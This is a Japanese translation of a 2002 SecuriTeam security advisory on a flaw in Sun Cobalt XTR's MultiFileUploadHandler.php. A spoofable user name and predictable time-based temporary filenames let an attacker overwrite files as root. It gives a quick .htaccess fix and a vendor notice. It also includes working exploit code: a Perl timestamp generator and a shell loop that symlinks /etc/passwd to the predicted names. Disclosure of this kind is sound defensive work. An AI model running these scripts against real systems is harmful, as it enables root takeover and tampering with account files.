[翻訳:関谷 麻美]2002年3月11日概要 アップロード Handler の認証バグが原因でユーザは、ルート権限を含めシステムの正当なユーザとしてファイルシステムに書き込むことができる。詳細 Cobalt XTR UI の一部の領域は、.htaccess で保護されていない。すなわち、MultiFileUpload.php へのアクセスをリモートで可能にする。 MultiFileUploadHandler.php は、MultiFileUpload.php から送られたアップロード要求を処理する。このスクリプトの脆弱性を利用すると、リモートの攻撃者がルート権限を使用してシステムの任意のファイルに書き込むこが可能になる。攻略手段: この脆弱性を利用するには、シェル・アクセスが必要となる。 MultiFileUPload.php の抜粋// get uid$pwnam = posix_getpwnam($PHP_AUTH_USER);$uid = $pwnam["uid"];// get filename$baseName = base64_encode(time());$fullName = "/tmp/" . $baseName;見て分かるとおり、$pwnam にユーザを情報を読むことができる。それは関数 posix_getpwnam ($PHP_AUTH_USER) の戻り値だ;PHP_AUTH_USER は('root'のような)各要求値に変更できる。 次の問題はファイル名の base64 エンコーディングにあり、予測可能であることだ。例えば、10分後 (time()) base64 ファイル名を予測し、そして /etc/passwd のシンボリックリンクを生成する場合、ぴったり10分間そのマシンを利用する。 symlinks が生成された後(base64 symlink を生成するスクリプトは、下記を参照)、あなたは変更した対象のファイル(/etc/passwd のスクリプトセット)をアップロードする必要があるだろう。あなたは下記のURL でファイルをアップロードすることができる。https://:81/uifc/MultFileUploadHandler.php(フォームがどのように機能するかを知っているのなら、認証エラーを理解する)早急なパッチ: uifc ディレクトリに .htaccess ファイルを生成する。ベンダーの対応: Sun Cobalt にこの情報を通知した。攻略コード: local-timerace-xtr.pl #!/usr/bin/perl # mass base64 time encoder # part of Cobalt UIFC XTR remote/local combination attack use MIME::Base64; $evil_time = time(); $exploit_secs = 10; # time in seconds you got to exploit this bug (race) for($i=1;$i<=$exploit_secs; $i++) { $evil_time = $evil_time+1; $evilstr = encode_base64($evil_time); print $evilstr; } symlink-time.sh #!/bin/sh#Script for creating symlinks from output of local-timerace-xtrfor foo in `perl -x xtr-timerace-xtr.pl`doln -s /etc/passwd $foodone追加情報この情報は、 Wouter ter Maat が提供した。[情報提供:SecuriTeam]http://www.securiteam.com/